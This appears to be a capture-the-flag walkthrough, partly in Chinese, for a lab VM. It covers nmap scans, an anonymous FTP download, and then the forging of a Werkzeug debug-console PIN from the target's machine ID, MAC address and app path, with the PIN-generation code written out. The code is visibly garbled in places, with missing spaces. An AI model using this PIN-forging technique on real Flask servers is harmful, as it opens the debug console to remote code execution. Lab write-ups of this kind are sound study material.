$ sudo nmap -p- --min-rate=10000 <IP> Nmap scan report for 192.168.124.6 Host is up (0.0012s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 5000/tcp open upnp MAC Address: 08:00:27:8D:5E:6D (Oracle VirtualBox virtual NIC)
# Nmap done at Thu Feb 22 10:23:52 2024 -- 1 IP address (1 host up) scanned in 66.37 seconds
$ $sudo nmap -p21,5000 -sCV <IP> # ... PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rw-r--r-- 1 0 0 109 Jan 06 23:14 README.txt | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.124.13 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeoutin seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 3 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 5000/tcp open upnp? | fingerprint-strings: | GetRequest: | HTTP/1.1 200 OK | Server: Werkzeug/3.0.1 Python/3.11.2 | Date: Thu, 22 Feb 2024 05:56:24 GMT | Content-Type: text/html; charset=utf-8 | Content-Length: 549 | Connection: close
# ... Service Info: OS: Unix
ftp
anonymous 登录,获得README文件
1 2 3 4
ftp> get README.md
$ cat README.txt Hi, Cosette, don't forget to disable the debug mode in the web application, we don't want security breaches.
defget_machine_id() -> str | bytes | None: global _machine_id
if _machine_id isnotNone: return _machine_id def_generate() -> str | bytes | None: linux = b""
# machine-id is stable across boots, boot_id is not. for filename in"/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: withopen(filename, "rb") as f: value = f.readline().strip() except OSError: continue
if value: linux += value break try: withopen("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass
if linux: return linux
Username. /etc/passwd : cosette
Full path of the app. /home/cosette/zeug/venv/lib/python3.11/site-packages/flask/app.py
MAC address of the target machine. /sys/class/net/enp0s3/address => 08:00:27:8d:5e:6d => 8796756598381
Machine ID : /etc/machine-id=>48329e233f524ec291cce7479927890b && /proc/sys/kernel/random/boot_id=>901d0a34-e4f9-4a52-8a83-3840d0c0bfb1 && /proc/self/cgroup=>0::/system.slice/zeug-app.service).
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0 h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): ifnot bit: continue ifisinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') # h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None if num isNone: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None if rv isNone: for group_size in5, 4, 3: iflen(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x inrange(0, len(num), group_size)) break else: rv = num